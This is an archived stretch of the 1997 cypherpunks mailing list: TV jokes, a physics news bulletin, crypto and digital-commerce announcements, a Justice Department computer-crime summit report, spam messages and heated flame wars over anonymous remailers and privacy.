LAUGH TRACK The Clintons' new dog -- Bill Maher: "This dog is going to live in the White House, so it's going have to go outside if it's going to make fund raising calls" ("PI," ABC 12/9). David Letterman: "And now they've got him working on training him to dig cemetary plots at Arlington National Cemetery" ("Late Show," CBS 12/9). Jay Leno on VP Gore: "New movie coming out called "Digging to China' It's all about Al Gore's search for campaign donations" ("Tonight," 12/9). For more on the complicated family tree of Mick Jagger and Jerry Hall, who just had a baby (his 6th, her 4th), click Back Bench. TOP TEN COMPLAINTS OF PRESIDENT CLINTON'S NEW PUPPY 10. Whenever you bury a bone, president digs it up and eats it. 9. Late-night walks always end up at local Hooters. 8. Much too easy to mistake Al Gore for a tree. 7. Keep getting yelled at for "fetching" Sam Donaldson's hairpiece. 6. When the president says "Roll over," he's usually talking to his date. 5. Roger hogs all the best chew-toys. 4. If you so much as look at Janet Reno, you get an assfull of size-13 pump. 3. Leash not as nice as the one Hillary uses on Bill. 2. Unfair having to get "fixed" when Clinton's the one who really needs it. 1. Fighting with Bill over the last snausage (CBS, 12/9). TV SOUNDBITE "This story's not going to die." -- ABC's Cokie Roberts on the fundraising scandals, "GMA," 12/10 From ravage at ssz.com Wed Dec 10 15:23:47 1997 From: ravage at ssz.com (Jim Choate) Date: Thu, 11 Dec 1997 07:23:47 +0800 Subject: update.350 (fwd) Message-ID: <199712102326.RAA10096@einstein.ssz.com> Forwarded message: > From physnews at aip.org Wed Dec 10 16:59:59 1997 > Date: Wed, 10 Dec 97 14:35:44 EST > Subject: update.350 > > PHYSICS NEWS UPDATE > The American Institute of Physics Bulletin of Physics News > Number 350 December 10, 1997 by Phillip F. Schewe and Ben > Stein > > QUANTUM TELEPORTATION has been experimentally > demonstrated by physicists at the University of Innsbruck (Anton > Zeilinger, 011-43-676-305-8608, anton.zeilinger@ uibk.ac.at; Dik > Bouwmeester, Dik.Bouwmeester at uibk.ac.at). First proposed in > 1993 by Charles Bennett of IBM (914-945-3118), quantum > teleportation allow physicists to take a photon (or any other > quantum-scale particle, such as an atom), and transfer its properties > (such as its polarization) to another photon--even if the two photons > are on opposite sides of the galaxy. Note that this scheme > transports the particle's properties to the remote location and not the > particle itself. And as with Star Trek's Captain Kirk, whose body > is destroyed at the teleporter and reconstructed at his destination, > the state of the original photon must be destroyed to create an exact > reconstruction at the other end. In the Innsbruck experiment, the > researchers create a pair of photons A and B that are quantum > mechanically "entangled": the polarization of each photon is in a > fuzzy, undetermined state, yet the two photons have a precisely > defined interrelationship. If one photon is later measured to have, > say, a horizontal polarization, then the other photon must "collapse" > into the complementary state of vertical polarization. In the > experiment, one of the entangled photons A arrives at an optical > device at the exact time as a "message" photon M whose > polarization state is to be teleported. These two photons enter a > device where they become indistinguishable, thus effacing our > knowledge of M's polarization (the equivalent of destroying > Kirk).What the researchers have verified is that by ensuring that > M's polarization is complementary to A's, then B's polarization > would now have to assume the same value as M's. In other words, > although M and B have never been in contact, B has been imprinted > with M's polarization value, across the whole galaxy, > instantaneously. This does not mean that faster-than-light > information transfer has occurred. The people at the sending station > must still convey the fact that teleportation had been successful by > making a phone call or using some other light-speed or > sub-light-speed means of communication. While physicists don't > foresee the possibility of teleporting large-scale objects like humans, > this scheme will have uses in quantum computing and cryptography. > (D. Bouwmeester et al., Nature, 11 Dec 1997; see also > www.aip.org/physnews/graphics) > > DO EARTHQUAKES HAVE ELECTRICAL PRECURSORS? The [material deleted] ____________________________________________________________________ | | | | | We built your fort. We will not have it used against us. | | | | John Wayne - Allegheny Uprising | | | | | | _____ The Armadillo Group | | ,::////;::-. Austin, Tx. USA | | /:'///// ``::>/|/ http://www.ssz.com/ | | .', |||| `/( e\ | | -====~~mm-'`-```-mm --'- Jim Choate | | ravage at ssz.com | | 512-451-7087 | |____________________________________________________________________| From declan at well.com Wed Dec 10 15:41:59 1997 From: declan at well.com (Declan McCullagh) Date: Thu, 11 Dec 1997 07:41:59 +0800 Subject: Crypto-buff & conservative GOPer for president? Message-ID: *9 ASHCROFT: HEALER OF THE BREACH? Under the header "The Gospel According To John," New Republic's Zengerle profiles Sen. John Ashcroft (R-MO). Ashcroft, "the most authentic social conservative currently receiving serious consideration" for the GOP nod, is "laying claim to the Reagan legacy," in an effort to "prevent his base from splintering." An ally of the religious right, "who view Ashcroft as a fellow traveler," he "holds morning prayer meetings in his office, and on Sundays he attends Assembly of God services in an underground movie theater at Union Station." He has proposed a bill to make social Security taxes deductible, will unveil his own flat-tax proposal and "continues to push" for term limits. His "strategy has one salient flaw, however: it is risky for a candidate of such low national name recognition to cast himself as a healer of the breach." A prominent conservative: "Steve Forbes can't legitimately say that he's been fighting the good fight for this community for the past ten years. ... He's kicked this constituency in the teeth for a better part of the decade. If I'm John Ashcroft, I'd point that out" (12/22 issue). From brianbr at together.net Wed Dec 10 15:54:04 1997 From: brianbr at together.net (Brian B. Riley) Date: Thu, 11 Dec 1997 07:54:04 +0800 Subject: Remailer Trivia / Re: Singapore & Freedom (fwd) Message-ID: <199712102348.SAA07833@mx01.together.net> -----BEGIN PGP SIGNED MESSAGE----- On 12/9/97 3:57 PM, Jrbl Pookah (lists at castle5.castlec.com) passed this wisdom: >>Jim Choate writes: >>> >>> To the best of my knowledge no phone company anywhere >>> will allow a customer to purchase service without identifying >>> themselves to the phone company. Please let me know if there is >>> such a beast somewhere. > > Hmm. Excuse the interruption into your conversation here, but I've >signed up (in the past) for long-distance service under an assumed >name, on a telephone line that I held in a different assumed name. >At least in Cincinnati, OH, the phone company didn't (doesn't?) >really care, as long as they had a place to send the bills. When >they asked for my SSN, I simply told them I wouldn't give it to >them, and offered my date-of-birth - which I lied about. They >didn't mind. ... hmmmm ... for my .02 ... isn't the entrie arguemnt rather academic/ Thje simple matter is regradless of whose name it is in, its tied to a physical location where sooner or later you can be apprehended/discovered. A more reasonable question might be has anyone secured cellular service without some serious credit/identity queries? If one can work out he details of getting payment to them (they seem to care little about what goes on so long as they are paid!) that preserves anonymity, as well as keeping on the move to defy the cell trackers then maybe there is some anonymity to be achieved. ... hey anybody designed a 'crowds' for cell phones??? -----BEGIN PGP SIGNATURE----- Version: PGP for Personal Privacy 5.0 Charset: noconv iQEVAwUBNI8qOD7r4fUXwraZAQF3TQf+PSDf6ZhYd3TQN4fpRWYe2FP1dv5ATrTD 44ENHDDLUplcvcZuTYf4kqM5PoOYQ0qsEfJu/YXRA5Ygpoj2q0yTUvkH194WbXk+ dzplLkc74kjMTVT48Jj3+ax5HlRhl7moQcXHDEYzdAHz1iIKvKWsPDkj0+5quaAb FldkENUU0HRLkyxmh6E7bICDPXUfaBCWzlspwYHK2iP138qpIe7TE1gNUrUrwK3P 8GUzjXr2iCjB6jqgyBEdN52p7iGIMNRfkwhOSB0JLoOaD6egBywHahq3tMB9casF ot3wpGKABsgsCFLDiSFCV9sud7j92lkf+svyJr1ate3VzW94z6mQLw== =zGLX -----END PGP SIGNATURE----- Brian B. Riley --> http://members.macconnect.com/~brianbr For PGP Keys "The reason worry kills more people than work is that more people worry than work" -- Robert Frost (1874-1963) From rah at shipwright.com Thu Dec 11 10:32:43 1997 From: rah at shipwright.com (Robert Hettinga) Date: Thu, 11 Dec 1997 10:32:43 -0800 (PST) Subject: DCSB: Donald Eastlake; "SET and UNSET" Message-ID: --- begin forwarded text X-Sender: rah at pop.sneaker.net Mime-Version: 1.0 Date: Thu, 11 Dec 1997 09:38:51 -0500 To: dcsb at ai.mit.edu, dcsb-announce at ai.mit.edu From: Robert Hettinga Subject: DCSB: Donald Eastlake; "SET and UNSET" Sender: bounce-dcsb at ai.mit.edu Precedence: bulk Reply-To: Robert Hettinga -----BEGIN PGP SIGNED MESSAGE----- The Digital Commerce Society of Boston Presents Donald Eastlake 3rd Cybercash, Inc. SET and UNSET Tuesday, January 6, 1997 12 - 2 PM The Downtown Harvard Club of Boston One Federal Street, Boston, MA After great gestational pain, version 1.0 of the complex, heavyweight Secure Electronic Transacation (SET) protocol has been promulgated by the credit card association, is being deployed in pilots, and is continuing to have features added to it in a SET 2.0 design effort. Meanwhile, the environment that lead to SET continues to change and new alternatives for securing card/account based transactions are being suggested. Donald Eastlake 3rd is a Principal Systems Engineer at CyberCash, Inc. before which he was in the Pathworks network group at Digital Equipment Corporation. At CyberCash, he helped design the "CyberCash message format" documented in RFC 2898 and implemented the library routines that support them. He also architected and did the preliminary implementation of CyberCash's SET implementation. He is active in IETF standards efforts and is currently the document editor for the IETF DNS security working group including RFCs 2065 and 2137. This meeting of the Digital Commerce Society of Boston will be held on Tuesday, January 6, 1997, from 12pm - 2pm at the Downtown Branch of the Harvard Club of Boston, on One Federal Street. The price for lunch is $32.50. This price includes lunch, room rental, various A/V hardware, and the speaker's lunch. ;-). The Harvard Club *does* have dress code: jackets and ties for men (and no sneakers or jeans), and "appropriate business attire" (whatever that means), for women. Fair warning: since we purchase these luncheons in advance, we will be unable to refund the price of your lunch if the Club finds you in violation of the dress code. We will attempt to record this meeting and put it on the web in RealAudio format at some future date We need to receive a company check, or money order, (or, if we *really* know you, a personal check) payable to "The Harvard Club of Boston", by Saturday, January 3rd, or you won't be on the list for lunch. Checks payable to anyone else but The Harvard Club of Boston will have to be sent back. Checks should be sent to Robert Hettinga, 44 Farquhar Street, Boston, Massachusetts, 02131. Again, they *must* be made payable to "The Harvard Club of Boston", in the amount of $32.50. Please include your e-mail address, so that we can send you a confirmation If anyone has questions, or has a problem with these arrangements (We've had to work with glacial A/P departments more than once, for instance), please let us know via e-mail, and we'll see if we can work something out. We are actively searching for future speakers. If you are in Boston on the first Tuesday of the month, and you would like to make a presentation to the Society, please send e-mail to the DCSB Program Commmittee, care of Robert Hettinga, . For more information about the Digital Commerce Society of Boston, send "info dcsb" in the body of a message to . If you want to subscribe to the DCSB e-mail list, send "subscribe dcsb" in the body of a message to . We look forward to seeing you there! Cheers, Robert Hettinga Moderator, The Digital Commerce Society of Boston -----BEGIN PGP SIGNATURE----- Version: PGP for Personal Privacy 5.5 iQEVAwUBNI/6c8UCGwxmWcHhAQGzGwf/TIIKQv+DlgJUZ5KfQsOLZWw0W0IXvZ4w ouQWDSFfleJFAtNIS4+TX+pT2MnRQ2SdsGDt/t+WDdC/0AHgX/4anOPXC7gKAjIF WNmGzP+DEvFvdFb5EcGCt6I7wYbEQhqIQs6/ULrItY3IqNVMQ4ZWzwknlcRWqVzl dwXX5JXYNRj9Wk5+la2e9BCeW5mKq3vURtr8xm2MIYwq3wdfzp9ydWZ20D7dJedH Z1SQeTae1obbUhTnljNqNtdKHEdTVcHsZVfkYA44JsBMMty9A3R8xqOKPCMGIcoI 65RWZOYmjkKlLAdb0OmmW/O32dnEcir0S4RCmdfiZYB9WXaVKLewQA== =6Lik -----END PGP SIGNATURE----- ----------------- Robert Hettinga (rah at shipwright.com), Philodox e$, 44 Farquhar Street, Boston, MA 02131 USA "... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire' The e$ Home Page: http://www.shipwright.com/ Ask me about FC98 in Anguilla!: For help on using this list (especially unsubscribing), send a message to "dcsb-request at ai.mit.edu" with one line of text: "help". --- end forwarded text ----------------- Robert Hettinga (rah at shipwright.com), Philodox e$, 44 Farquhar Street, Boston, MA 02131 USA "... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire' The e$ Home Page: http://www.shipwright.com/ Ask me about FC98 in Anguilla!: From rah at shipwright.com Wed Dec 10 19:59:52 1997 From: rah at shipwright.com (Robert Hettinga) Date: Thu, 11 Dec 1997 11:59:52 +0800 Subject: Back to the drawing board ... Message-ID: --- begin forwarded text Resent-Date: Wed, 10 Dec 1997 14:32:10 -0500 X-Authentication-Warning: qnx.com: localhost [127.0.0.1] didn't use HELO protocol To: 0xdeadbeef at substance.abuse.blackdown.org Subject: Back to the drawing board ... Date: Wed, 10 Dec 1997 13:19:18 -0500 From: glen mccready Resent-From: 0xdeadbeef at substance.abuse.blackdown.org X-Mailing-List: <0xdeadbeef at substance.abuse.blackdown.org> archive/latest/2539 X-Loop: 0xdeadbeef at substance.abuse.blackdown.org Precedence: list Resent-Sender: 0xdeadbeef-request at substance.abuse.blackdown.org Forwarded-by: Nev Dull Forwarded-by: "Michael A. Olson" Forwarded-by: frew at icess.ucsb.edu (Jim Frew) From: simpson at alexandria.ucsb.edu This is the new family-friendly filtered search engine put out by the folks at Altavista: http://family.netshepherd.com/ Try the query "fucking porn" and see what you get... exactly what I want my kids to see when they are looking for "fucking porn": fucking porn. I guess we can't expect them to filter just anything with the word fucking in it, it might be an educational site or something. -jason --- end forwarded text ----------------- Robert Hettinga (rah at shipwright.com), Philodox e$, 44 Farquhar Street, Boston, MA 02131 USA "... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire' The e$ Home Page: http://www.shipwright.com/ Ask me about FC98 in Anguilla!: From nobody at REPLAY.COM Wed Dec 10 20:44:59 1997 From: nobody at REPLAY.COM (Anonymous) Date: Thu, 11 Dec 1997 12:44:59 +0800 Subject: alias.cyberpass.net Message-ID: <199712110433.FAA19918@basement.replay.com> Is alias.cyberpass.net down or no longer active? I can send mail but not receive anything not even a confirmation. From schear at lvdi.net Wed Dec 10 21:16:06 1997 From: schear at lvdi.net (Steve Schear) Date: Thu, 11 Dec 1997 13:16:06 +0800 Subject: On Air Message-ID: >From: "Nightline, News MS" >To: "'SMTP:schear at lvdi.net'" >Subject: RE: On Air >Date: Wed, 10 Dec 1997 13:32:00 -0500 >X-Priority: 3 >MIME-Version: 1.0 > >��ࡱ > > >====== Your Original Letter Follows ===== > > > >_browser = Mozilla/4.01 (Macintosh; I; PPC) >_script = http://www.abcnews.com/onair/email.html >>from = schear at lvdi.net >last_name = Schear >subj = On Air >first_name = Steve >Question = Re: Dec 8, Revolution in a Box, Part 11 > >The number trotted out on your show of 100,000 penetrations, or >attempted penetrations, of Pentagon computers as an indication of poor >security is misleading. If you had taken the time to dig behind these >numbers you would have found that most all of these intrusions, or >attempts, were against DoD computer systems connected to public networks >(e.g., Web sites) containing no secret information and with minimal >security provisions. > >100,000 certainly sounds like a major problem. Suggest you check you >facts first, next time and scale your numbers appropriately. > >Steve Schear >CEO >First ECache Corp. >_cookie = SWID=4E29F2F7-710A-11D1-82AF-00A0C921A5DB >_time = 12/09/97 19:47:40 >_ipaddress = 208.129.55.202 >_user = - - schear at lvdi.net > From lisa at mailwiz.com Thu Dec 11 13:43:59 1997 From: lisa at mailwiz.com (lisa at mailwiz.com) Date: Thu, 11 Dec 1997 13:43:59 -0800 (PST) Subject: Free Live Video Sex!!! Message-ID: <0000000000.AAA000@mailwiz.com> ****************Attention Video Sex Lovers***************** Never Pay for Video Sex ever again. Brand New Totally Free Live Video Sex Website. Come Check out over Unlimited Live Video sex Channels! http://209.67.146.84/indexc.htm From nobody at bureau42.ml.org Wed Dec 10 22:27:21 1997 From: nobody at bureau42.ml.org (bureau42 Anonymous Remailer) Date: Thu, 11 Dec 1997 14:27:21 +0800 Subject: A Gas to be Passed Later Message-ID: Phbbbbbbbbtttttt. From whgiii at invweb.net Wed Dec 10 23:23:11 1997 From: whgiii at invweb.net (William Geiger) Date: Thu, 11 Dec 1997 15:23:11 +0800 Subject: Back to the drawing board ... In-Reply-To: Message-ID: I tried this out myself and it returned no "family friendly" webpages. On Wed, 10 Dec 1997, Robert Hettinga wrote: > > --- begin forwarded text > > > Resent-Date: Wed, 10 Dec 1997 14:32:10 -0500 > X-Authentication-Warning: qnx.com: localhost [127.0.0.1] didn't use HELO > protocol > To: 0xdeadbeef at substance.abuse.blackdown.org > Subject: Back to the drawing board ... > Date: Wed, 10 Dec 1997 13:19:18 -0500 > From: glen mccready > Resent-From: 0xdeadbeef at substance.abuse.blackdown.org > X-Mailing-List: <0xdeadbeef at substance.abuse.blackdown.org> archive/latest/2539 > X-Loop: 0xdeadbeef at substance.abuse.blackdown.org > Precedence: list > Resent-Sender: 0xdeadbeef-request at substance.abuse.blackdown.org > > > Forwarded-by: Nev Dull > Forwarded-by: "Michael A. Olson" > Forwarded-by: frew at icess.ucsb.edu (Jim Frew) > From: simpson at alexandria.ucsb.edu > > This is the new family-friendly filtered search engine put out by the > folks at Altavista: http://family.netshepherd.com/ > > Try the query "fucking porn" and see what you get... exactly what I want > my kids to see when they are looking for "fucking porn": fucking porn. > > I guess we can't expect them to filter just anything with the word > fucking in it, it might be an educational site or something. > > -jason > > --- end forwarded text > > > > ----------------- > Robert Hettinga (rah at shipwright.com), Philodox > e$, 44 Farquhar Street, Boston, MA 02131 USA > "... however it may deserve respect for its usefulness and antiquity, > [predicting the end of the world] has not been found agreeable to > experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire' > The e$ Home Page: http://www.shipwright.com/ > Ask me about FC98 in Anguilla!: > > From rah at shipwright.com Thu Dec 11 16:53:52 1997 From: rah at shipwright.com (Robert Hettinga) Date: Thu, 11 Dec 1997 16:53:52 -0800 (PST) Subject: some interesting news... Message-ID: --- begin forwarded text From: pete at loshin.com Date: Thu, 11 Dec 1997 16:43:29 -0500 MIME-Version: 1.0 To: Robert Hettinga Subject: some interesting news... Status: U Bob, you can forward this if you like to any appropriate newsgroups (but only if it hasn't already been mentioned). If it isn't entirely clear, let me know. According to Netscape's press release of 12/10/97, their new Mission Control software solution includes an LDAP directory server and a certificate server. That certificate server boasts an interesting new feature: the ability for the server to generate not just certs but also the keys, and install them on remotely managed browsers. They are positioning this as a feature for organizations that want to use keys but don't want to lose access to corporate data. -pl --- end forwarded text ----------------- Robert Hettinga (rah at shipwright.com), Philodox e$, 44 Farquhar Street, Boston, MA 02131 USA "... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire' The e$ Home Page: http://www.shipwright.com/ Ask me about FC98 in Anguilla!: From maksim at volga.net Thu Dec 11 17:00:33 1997 From: maksim at volga.net (Maksim Otstavnov) Date: Thu, 11 Dec 1997 17:00:33 -0800 (PST) Subject: PGP 5.0i Manual translation released Message-ID: <199712120100.RAA29735@geocities.com> Updates: * Russian translation of PGP 5.0 for Windows User's Guide is released: ftp.ifi.uio.no/pub/pgp/5.0/manual/win95nt/russian/pgp50manual-ru.pdf * The following PGP Russian Homepage documents are updated: http://www.geocities.com/SoHo/Studios/1059/pgp-ru.html http://www.geocities.com/SoHo/Studios/1059/pgp50-ru-toc.html http://www.geocities.com/SoHo/Studios/1059/pgp-project-ru.html as well as http://www.geocities.com/SoHo/Studios/1059/pubs-ru.html -- -- Maksim Otstavnov http://www.geocities.com/SoHo/Studios/1059/ -- -maintainer of The Russian PGP HomePage -- (http://www.geocities.com/SoHo/Studios/1059/pgp-ru.html) From attila at hun.org Thu Dec 11 03:56:30 1997 From: attila at hun.org (Attila T. Hun) Date: Thu, 11 Dec 1997 19:56:30 +0800 Subject: A new first for Reno/Justice! Encryption not even on the agenda! Message-ID: <19971211.112224.attila@hun.org> -----BEGIN PGP SIGNED MESSAGE----- December 11, 1997, NYTimes: Reno Says Plan Will "Match Wits" With Technological Criminals By JERI CLAUSING >>> A new first for Reno/Justice! Encryption not even on the agenda! absolutely unreal --of course, being cynical at heart (and having watched the snakes and other assorted vermin inside the Beltway, encryption control will be back... http://www.nytimes.com/library/cyber/week/121197crime.html WASHINGTON Justice officials from the world's largest industrial countries met here on Wednesday to draft an international plan that Attorney General Janet Reno said was designed to catch cybercriminals and ensure no safe haven exists for them. ... "Today is an important day in fighting computer crime, and in laying the groundwork for the next century of crime fighting," ... cover the following principles: 1. Ensuring that a sufficient number of trained and equipped law enforcement personnel are enlisted to fight high-tech crime. 2. Creating contacts available on a 24-hour basis to allow countries to move quickly in tracking down computer criminals. 3. Developing faster ways to trace attacks on computer networks and identify hackers. 4. Carrying out a criminal prosecution in the country a suspect flees to, if extradition is impossible. 5. Taking steps to preserve important information on computer networks to help prevent tampering. 6. Reviewing the respective legal systems in each nation to make sure there are appropriate crimes for computer wrongdoing and to make it easier to investigate the crimes. 7. Working with the industry to come up with new ways to detect and prevent computer crimes. 8. Stepping up efforts to use new technologies, such as so-called video links, which would allow obtaining testimony from witnesses in other countries. ... Reno said the contentious topic of encryption regulation was not a focus of the meeting. ..."We were here to discuss a framework," she said. "Encryption was not a topic. Although it was alluded to, it generally was not a topic." ... Asked what the biggest dangers are from technological criminals, Reno gave the example of a hacker who can "sit in his room in Washington, D.C., and steal from a bank in another country," or sabotage the computer networks of companies or governments anywhere in the world. ... -----BEGIN PGP SIGNATURE----- Version: 2.6.3i Charset: latin1 Comment: No safety this side of the grave. Never was; never will be iQBVAwUBNI/M3LR8UA6T6u61AQGLaAH/QnLL+qfrlPR3U+08+GVNX6Fh6g1KyvkT uxawQXMeZKva9c6miAgSRSftgVbueIeHNtjTZBL9npbnzwPl9ASL2g== =xrMG -----END PGP SIGNATURE----- From nobody at REPLAY.COM Thu Dec 11 04:08:47 1997 From: nobody at REPLAY.COM (Anonymous) Date: Thu, 11 Dec 1997 20:08:47 +0800 Subject: Diffie-Hellman Message-ID: <199712111154.MAA03893@basement.replay.com> Timothy `C' May is another loser who pays for got.net because he lacks the mental capacity to gain net access as a perk of either employment or academic achievment. 0 \/|/\ Timothy `C' May | / \/\ \/ From announce at dmail1.real-net.net Thu Dec 11 05:15:01 1997 From: announce at dmail1.real-net.net (RealNetworks News) Date: Thu, 11 Dec 1997 21:15:01 +0800 Subject: Improved RealAudio and RealVideo with New RealPlayer 5.0 Message-ID: <199712111446.GAA18684@dmail5.real-net.net> Dear RealPlayer User, We are pleased to announce that the final version of the free RealPlayer 5.0 has been released and is now available for download. You can upgrade to RealPlayer 5.0 by visiting: http://www.real.com/50/index.html WHAT'S NEW IN REALPLAYER 5.0 RealPlayer 5.0 features improved RealAudio and RealVideo quality and other benefits, including: - Smoother, sharper RealVideo - Near CD-quality voice at 28.8 - Streaming cartoon-style animations using RealFlash, co-developed with Macromedia - 2x larger video screen - Full-screen video above 100kbps on Windows 95/NT THE ENHANCED REALPLAYER PLUS 5.0 RealPlayer Plus 5.0, the premium version of RealPlayer, is now available for purchase and immediate download at: http://www.real.com/50/plus.html RealPlayer Plus 5.0 delivers lots of great additional benefits, including: - The best-quality RealAudio and RealVideo at 28.8 - One-button scanning for LIVE audio and video sites - Instant access to content with programmable preset buttons - Ability to record selected clips - Packaged CD-ROM and manual - Free telephone technical support - Just $29.99 with 30-day money back guarantee And for a limited time, if you order and download RealPlayer Plus, you can get a FREE music CD from Sony Music (continental U.S. only). Thank you for using RealNetworks products, Maria Cantwell Senior Vice President RealNetworks, Inc. Seattle, WA USA --------------------------------------------- ABOUT THIS E-MAIL This e-mail was sent to users of RealPlayer software who indicated a preference during the download or installation process to receive notification of new RealNetworks products or services via e-mail. For information about subscribing to or unsubscribing from future announcements, visit http://www.real.com/mailinglist/index.html. From 46480163 at 10228.com Thu Dec 11 22:49:39 1997 From: 46480163 at 10228.com (46480163 at 10228.com) Date: Thu, 11 Dec 1997 22:49:39 -0800 (PST) Subject: Do YOU Want To More About All MLM's?? Message-ID: <199702170025.GAA08056@nowhere.com>



    ***********************************************

              MLM LISTSERV

    ***********************************************


    THE Best Investment An MLM Entrepeneur Can Make!!!

   ===================================================


   * Introduce Your Program to Tens of Thousands of
      Network Marketers Nationwide and Worldwide

   * Discover which are the BEST Programs and Which
     Have problems.  Just ASK!!!

   * Correspond with and learn from those "in-the-know"

   * Get your questions answered about Marketing, 
     Promotion, and Tricks of The Trade

   * This is the First (1st) and only Forum for Network
     Marketing Professionals and Part-Timers Worldwide!!

   * The MLM Listserv has an unprecedented 65% payout!!

 
Would YOU like to Be Able to Find Out Anything and Everything
You Ever Wanted To Know About Any or All MLM's ????

For More Information/ and to purchase the World's only 
   MLM LISTSERV.....Delivered to YOUR Mailbox.....Contact:

    For Further Information on This "One of A Kind" 
  Opportunity.....Hit Reply and Put "MORE INFO" in the Subject
  Line....Information Will be Supplied ASAP.  

    If By Some Mistake, you have been contacted in Error...
   Please Hit Reply...and Type "REMOVE" in the Subject line
   and you Will be Removed From Our Database Immediately.

   
         

     
  









From declan at pathfinder.com  Thu Dec 11 06:55:00 1997
From: declan at pathfinder.com (Declan McCullagh)
Date: Thu, 11 Dec 1997 22:55:00 +0800
Subject: A new first for Reno/Justice! Encryption not even on theagenda!
In-Reply-To: <19971211.112224.attila@hun.org>
Message-ID: 



I wrote about this yesterday, an hour after the summit ended, at:

http://cgi.pathfinder.com/netly/afternoon/0,1012,1626,00.html

Note Reno said that the OECD was where cryptodiscussions where happening.

-Declan







From phelix at vallnet.com  Thu Dec 11 07:19:42 1997
From: phelix at vallnet.com (phelix at vallnet.com)
Date: Thu, 11 Dec 1997 23:19:42 +0800
Subject: Back to the drawing board ...
In-Reply-To: 
Message-ID: <348ff19a.47060515@128.2.84.191>



On 11 Dec 1997 07:50:37 -0600, William Geiger  wrote:

>
>
>I tried this out myself and it returned no "family friendly" webpages.
>
>On Wed, 10 Dec 1997, Robert Hettinga wrote:
>

>> This is the new family-friendly filtered search engine put out by the
>> folks at Altavista: http://family.netshepherd.com/
>> 
>> Try the query "fucking porn" and see what you get... exactly what I want
>> my kids to see when they are looking for "fucking porn": fucking porn.
>> 
>> I guess we can't expect them to filter just anything with the word
>> fucking in it, it might be an educational site or something.
>> 

"fucking porn" no longer returns anything, but "fuckin porn" does.
(iterestingly enough, neither "fuckin" nor "porn" return anything
interesting by themselves).  Perhaps we're seeing ebonics in action.

And here's some more phrases to try:

rimming 
nambla  (now, that's what I call "family friendly")
warez
phreaking
remailer*

I wonder which of the above will be removed first....

-- Phelix






From nobody at REPLAY.COM  Thu Dec 11 07:32:33 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Thu, 11 Dec 1997 23:32:33 +0800
Subject: Gary L. Burnore's Paranoid Hatred of Privacy and Anonymity
In-Reply-To: <199712101544.QAA18369@basement.replay.com>
Message-ID: <199712111519.QAA26138@basement.replay.com>



wmcclatc at primenet.com (William J. McClatchie, aka "Wotan") wrote:

> X-Comment: Aw, are you offended?
> X-no-archive: yes

[...]

> >> So you'll post your address and phone number right away, right?
> >  
> >You go first, since you claim you "have nothing to hide".  Why would anyone
> >with "nothing to hide" choose to "hide behind the skirts of" an unlisted phone
> >number and street address? (Recognize the rhetoric?  It's yours, not mine.)
>  
> Can anyone else spot the hypocracy of someone using an anon-remailer
> demanding others post their unlisted phone numbers?

I'm glad you spotted that.  It started the other way around, with Gary Burnore
whining that people were "cowards" and "anonymous assholes" for not including
their e-mail addresses in their posts (thus indiscriminately broadcasting
them to the world), while his own telephone number is unlisted.

If he's so concerned about full disclosure and properly identifying everyone
that posts, then surely he won't mind posting his street address and home
phone number ... if he has "nothing to hide".   Personally, I don't care
what his phone number and address are.  I have no reason to call or snail
mail him.  I'm only calling his bluff concerning the premise "if you have
nothing to hide, then you won't mind disclosing everything".  If you're the
current contender in the DataBasix tag team, then the same challenge applies
to you.  Since Gary claims that he has blocked all e-mail from remailers,
apparently he does not wish to communicate with me privately.

So why should an unlisted e-mail address be any different than an unlisted
telephone number?  If I want you to e-mail me, I'll give you my address.
I don't.  So why should I broadcast my e-mail address?






From nobody at REPLAY.COM  Thu Dec 11 08:59:50 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Fri, 12 Dec 1997 00:59:50 +0800
Subject: Same old shit from Gary L. Burnore / DataBasix
Message-ID: <199712111644.RAA05263@basement.replay.com>



gburnore at netcom.com (Gary L. Burnore)

> X-No-Archive: yes 

> :Your paranoid conspiracy theories remind me of the kid who blamed the mess in
> :his bedroom on an invisible herd of stampeding elephants.  ("Well of course
> :you didn't see them, dad.  They're INVISIBLE.")  In your case, you speculate
> :that there's a single "anonymous asshole" who's responsible for everything
> :that you CLAIM has occurred.
>  
>      
> Nope, I'm saying that the anonymous asshole (you) keeps posting lies with no
> proof and still hasn't explained why.  

How is asking you a QUESTION a LIE?  Why won't you answer the question about why
you wanted the sendmail logs from the Huge Cajones Remailer?  What purpose did
you have in mind for all those names and e-mail addresses?

> First you said it was because of rfg
> then because of burchell  yet you were attacking me long before either.  

I trust that you have proof for that accusation.

Are you now saying that your previous accusation that rfg was your so-called
"anon-asshole" was a lie?  Or your accusation that Scott Dentice was this
person?  Remember, it's YOUR theory that there's only ONE such person, yet you've
accused three different people of being this individual.

> So come on anonasshole, what's your reason?

If you don't like my answer, then stop asking the question.  As one of the
former users of Jeff Burchell's now-defunct remailer, please explain why
you wanted him to turn over his logs to you and Belinda Bryan which, had they
existed, would have listed the identities of everyone who either sent or
received anonymous mail through that remailer.

> : The problem is, you haven't proven that 90% of
> :the stuff you *CLAIM* occurred even happened, let alone was the work of your
> :imaginary lone "spam-baiting/forging/child-molesting/cyber-stalking/libeling"
> :(did I miss anything?) so-called "anon asshole".
>    
>    
> Blah Blah Blah Blah Blah.  You still haven't posted proof of your claims.

They're YOUR claims, Gary. You're the one who keeps claiming that you're the
victim of "forgery", "libel", "spam baiting", etc.  You are the one that made
the unsubstantiated claim that a remailer user sent a harassing letter to an
unnamed "teenage girl" with a web page at DataBasix. You are the one who needs 
to prove them.
     
> :How about some proof of your wild charges, Gary?
>    
>  
> You're posting anonymously. You're lying about me.  Those are the charges.

I'm posting anonymously?  Well cry me a river.  Deal with it!  If that's your
charge, then it says more about you than it does about me.  If posting anonymously
upsets you, then that alone is reason enough to do it.

I'm lying about you?  How?  By asking you why you wanted to violate the
privacy of all of the users of Jeff Burchell's remailer?  It was Jeff's
post that revealed your attempt to violate the privacy of his users.  I only
referred to it.  How does that make me a liar?
 
> :" Only one of us even USES
> :remailers (or at least admits to it).  You, OTOH, have never had a civil word
